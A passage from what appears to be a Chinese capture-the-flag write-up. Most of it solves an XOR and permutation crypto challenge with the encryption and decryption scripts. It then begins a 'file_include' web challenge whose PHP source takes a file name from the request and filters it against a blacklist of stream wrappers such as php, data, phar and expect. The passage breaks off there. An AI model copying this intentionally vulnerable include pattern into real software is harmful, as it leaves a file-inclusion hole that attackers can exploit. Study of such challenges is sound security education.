</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">shift</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
</span></span></code></pre></div><h3 id="小zxz最喜欢xor了">
<a class="header-anchor" href="#%e5%b0%8fzxz%e6%9c%80%e5%96%9c%e6%ac%a2xor%e4%ba%86"></a>
小zxz最喜欢xor了
</h3><p>打开文件，我们看到3个txt和xor加密的py文件</p>
<p>先看加密的py文件</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>  
</span></span><span class="line"><span class="cl"><span class="n">FLAG_LEN</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">master_seed</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">noise_seed</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">master_seed</span><span class="p">[:</span><span class="mi">4</span><span class="p">],</span> <span class="s1">&#39;little&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;seed.bin&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">master_seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Noise</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">seed</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">=</span> <span class="n">seed</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">step</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">*</span> <span class="mi">1103515245</span> <span class="o">+</span> <span class="mi">12345</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">s</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">^=</span> <span class="p">((</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="mi">7</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">25</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">^=</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">=</span> <span class="n">x</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">rng</span> <span class="o">=</span> <span class="n">Noise</span><span class="p">(</span><span class="n">noise_seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">feedback</span> <span class="o">=</span> <span class="mh">0x73</span>
</span></span><span class="line"><span class="cl"><span class="n">remaining</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="n">FLAG_LEN</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">FLAG_LEN</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">Random</span><span class="p">(</span><span class="n">feedback</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">idx</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">remaining</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">remaining</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="n">flag</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">k</span> <span class="o">=</span> <span class="n">rng</span><span class="o">.</span><span class="n">step</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="n">b</span> <span class="o">^</span> <span class="n">k</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">^=</span> <span class="n">feedback</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="p">((</span><span class="n">idx</span> <span class="o">*</span> <span class="mi">13</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x57</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
</span></span><span class="line"><span class="cl">    <span class="n">feedback</span> <span class="o">=</span> <span class="n">x</span>
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">N</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="n">matrix</span> <span class="o">=</span> <span class="p">[</span><span class="n">cipher</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">N</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="n">N</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">shift</span> <span class="o">=</span> <span class="n">r</span>
</span></span><span class="line"><span class="cl">    <span class="n">row</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">[</span><span class="n">r</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">matrix</span><span class="p">[</span><span class="n">r</span><span class="p">]</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="n">shift</span><span class="p">:]</span> <span class="o">+</span> <span class="n">row</span><span class="p">[:</span><span class="n">shift</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">final_cipher</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">matrix</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">final_cipher</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">row</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">final_cipher</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">row</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">part1</span> <span class="o">=</span> <span class="n">final_cipher</span><span class="p">[::</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">part2</span> <span class="o">=</span> <span class="n">final_cipher</span><span class="p">[</span><span class="mi">1</span><span class="p">::</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;cache.dat&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">part1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;audio.idx&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">part2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] 加密完成，生成文件：seed.bin, cache.dat, audio.idx&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>它的核心流程是：</p>
<ol>
<li>
<p>生成随机种子：</p>
<p><code>master_seed = os.urandom(32) noise_seed = int.from_bytes(master_seed[:4], 'little')</code></p>
<p>其中前 4 字节作为伪随机噪声生成器 Noise 的种子，并把完整种子保存到 seed.bin。</p>
</li>
<li>
<p>自定义 Noise 类生成异或密钥流：</p>
<p><code>k = rng.step()</code></p>
<p>每次 step() 产生 1 个字节，用来和 flag 字节异或。</p>
</li>
<li>
<p>加密时不是按 flag 原顺序处理，而是用 feedback 决定下一个取哪个位置：</p>
<p><code>r = random.Random(feedback) idx = r.choice(remaining)</code></p>
<p>也就是说，每一轮根据上一次密文值 feedback，从还没处理的位置里随机选一个 flag 下标。</p>
</li>
<li>
<p>对选中的 flag 字节做变换：</p>
<p><code>x = b ^ k x ^= feedback x = (x + ((idx * 13) ^ 0x57)) &amp; 0xff feedback = x</code></p>
<p>实际加密公式可以写成：</p>
<p><code>c = ((flag[idx] ^ key ^ feedback) + ((idx * 13) ^ 0x57)) mod 256</code></p>
</li>
<li>
<p>如果密文长度不足 16 字节，就随机补齐到 16 字节：</p>
<p><code>while len(cipher) &lt; 16:    cipher.append(random.randint(0, 255))</code></p>
</li>
<li>
<p>把 16 字节密文排成 4x4 矩阵，做行移位：</p>
<p><code>matrix[r] = row[shift:] + row[:shift]</code></p>
</li>
<li>
<p>再按蛇形顺序展开：</p>
<ul>
<li>偶数行正序</li>
<li>奇数行反序</li>
</ul>
</li>
<li>
<p>最后把最终密文拆成奇偶两部分：</p>
<p><code>part1 = final_cipher[::2] part2 = final_cipher[1::2]</code></p>
<p>分别写入：</p>
<ul>
<li>cache.dat</li>
<li>audio.idx</li>
</ul>
</li>
</ol>
<p>xor.py 的输出文件是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">seed.bin     保存密钥种子 
</span></span><span class="line"><span class="cl">cache.dat    保存最终密文的偶数位 
</span></span><span class="line"><span class="cl">audio.idx    保存最终密文的奇数位
</span></span></code></pre></div><hr>
<p>这样我们就可以编写解密脚本：</p>
<ol>
<li>
<p>读取 seed.bin，恢复 noise_seed：</p>
<p><code>master_seed = f.read(32) noise_seed = int.from_bytes(master_seed[:4], 'little')</code></p>
</li>
<li>
<p>读取 cache.dat 和 audio.idx：</p>
<p><code>part1 = list(f.read()) part2 = list(f.read())</code></p>
</li>
<li>
<p>把两个文件交错合并，还原 final_cipher：</p>
<p><code>for a, b in zip(part1, part2):    final_cipher.append(a)    final_cipher.append(b)</code></p>
</li>
<li>
<p>逆转蛇形展开：</p>
<p><code>rows.append(final_cipher[0:4]) rows.append(final_cipher[4:8][::-1]) rows.append(final_cipher[8:12]) rows.append(final_cipher[12:16][::-1])</code></p>
</li>
<li>
<p>逆转每行的循环左移：</p>
<p><code>rows[r] = row[-shift:] + row[:-shift]</code></p>
</li>
<li>
<p>得到原始的 cipher，也就是 xor.py 加密阶段生成的密文字节。</p>
</li>
<li>
<p>因为原 flag 长度未知，而且加密脚本会补齐到 16 字节，所以 EXP 尝试长度 1 到 16：</p>
<p><code>for L in range(1, 17):</code></p>
</li>
<li>
<p>对每个可能长度，重新模拟加密时的下标选择顺序：</p>
<p><code>r = random.Random(feedback) idx = r.choice(remaining)</code></p>
</li>
<li>
<p>根据加密公式反推原字节：</p>
<p>加密时：</p>
<p><code>c = ((b ^ k ^ feedback) + offset) mod 256</code></p>
<p>解密时：</p>
<p><code>temp = (c - offset) &amp; 0xff b = temp ^ k ^ feedback</code></p>
</li>
<li>
<p>把解出的字节放回原始位置：</p>
</li>
</ol>
<p><code>plain[idx] = b</code></p>
<ol start="11">
<li>最后用 flag 格式判断是否成功：</li>
</ol>
<p><code>plain_bytes.startswith(b'flag{') plain_bytes.endswith(b'}')</code></p>
<p>完整脚本如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;seed.bin&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">master_seed</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">noise_seed</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">master_seed</span><span class="p">[:</span><span class="mi">4</span><span class="p">],</span> <span class="s1">&#39;little&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Noise</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">seed</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">=</span> <span class="n">seed</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">step</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">*</span> <span class="mi">1103515245</span> <span class="o">+</span> <span class="mi">12345</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">s</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">^=</span> <span class="p">((</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="mi">7</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">25</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">^=</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">s</span> <span class="o">=</span> <span class="n">x</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;cache.dat&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">part1</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;audio.idx&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">part2</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">final_cipher</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">part1</span><span class="p">,</span> <span class="n">part2</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">final_cipher</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">final_cipher</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">rows</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">rows</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">final_cipher</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">])</span>                
</span></span><span class="line"><span class="cl"><span class="n">rows</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">final_cipher</span><span class="p">[</span><span class="mi">4</span><span class="p">:</span><span class="mi">8</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>           
</span></span><span class="line"><span class="cl"><span class="n">rows</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">final_cipher</span><span class="p">[</span><span class="mi">8</span><span class="p">:</span><span class="mi">12</span><span class="p">])</span>                
</span></span><span class="line"><span class="cl"><span class="n">rows</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">final_cipher</span><span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">16</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>        
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">N</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">shift</span> <span class="o">=</span> <span class="n">r</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">shift</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">row</span> <span class="o">=</span> <span class="n">rows</span><span class="p">[</span><span class="n">r</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">rows</span><span class="p">[</span><span class="n">r</span><span class="p">]</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="o">-</span><span class="n">shift</span><span class="p">:]</span> <span class="o">+</span> <span class="n">row</span><span class="p">[:</span><span class="o">-</span><span class="n">shift</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">padded_cipher</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">rows</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded_cipher</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">row</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">found_flag</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">L</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">17</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">padded_cipher</span><span class="p">[:</span><span class="n">L</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">rng</span> <span class="o">=</span> <span class="n">Noise</span><span class="p">(</span><span class="n">noise_seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">remaining</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="n">L</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">feedback</span> <span class="o">=</span> <span class="mh">0x73</span>
</span></span><span class="line"><span class="cl">    <span class="n">plain</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">L</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">Random</span><span class="p">(</span><span class="n">feedback</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">idx</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">remaining</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">remaining</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">c</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">            <span class="n">offset</span> <span class="o">=</span> <span class="p">((</span><span class="n">idx</span> <span class="o">*</span> <span class="mi">13</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x57</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
</span></span><span class="line"><span class="cl">            <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">c</span> <span class="o">-</span> <span class="n">offset</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
</span></span><span class="line"><span class="cl">            <span class="n">k</span> <span class="o">=</span> <span class="n">rng</span><span class="o">.</span><span class="n">step</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">b</span> <span class="o">=</span> <span class="n">temp</span> <span class="o">^</span> <span class="n">k</span> <span class="o">^</span> <span class="n">feedback</span>
</span></span><span class="line"><span class="cl">            <span class="n">plain</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">b</span>
</span></span><span class="line"><span class="cl">            <span class="n">feedback</span> <span class="o">=</span> <span class="n">c</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">plain_bytes</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">plain</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">plain_bytes</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;flag{&#39;</span><span class="p">)</span> <span class="ow">and</span> <span class="n">plain_bytes</span><span class="o">.</span><span class="n">endswith</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;}&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="nb">all</span><span class="p">(</span><span class="mi">32</span> <span class="o">&lt;=</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">127</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">plain_bytes</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="n">found_flag</span> <span class="o">=</span> <span class="n">plain_bytes</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">found_flag</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] 成功解密，flag 为：</span><span class="si">{</span><span class="n">found_flag</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[-] 未找到 flag，请检查 seed.bin, cache.dat, audio.idx 是否正确&#34;</span><span class="p">)</span>
</span></span></code></pre></div><h2 id="web">
<a class="header-anchor" href="#web"></a>
Web
</h2><h3 id="file_include">
<a class="header-anchor" href="#file_include"></a>
file_include
</h3><p>先来读一下源码</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;file&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;file&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nv">$blacklist</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;php&#39;</span><span class="p">,</span> <span class="s1">&#39;data&#39;</span><span class="p">,</span> <span class="s1">&#39;zip&#39;</span><span class="p">,</span> <span class="s1">&#39;phar&#39;</span><span class="p">,</span> <span class="s1">&#39;file&#39;</span><span class="p">,</span> <span class="s1">&#39;http&#39;</span><span class="p">,</span> <span class="s1">&#39;https&#39;</span><span class="p">,</span> <span class="s1">&#39;ftp&#39;</span><span class="p">,</span> <span class="s1">&#39;gopher&#39;</span><span class="p">,</span> <span class="s1">&#39;dict&#39;</span><span class="p">,</span> <span class="s1">&#39;glob&#39;</span><span class="p">,</span> <span class="s1">&#39;expect&#39;</span><span class="p">];</span>
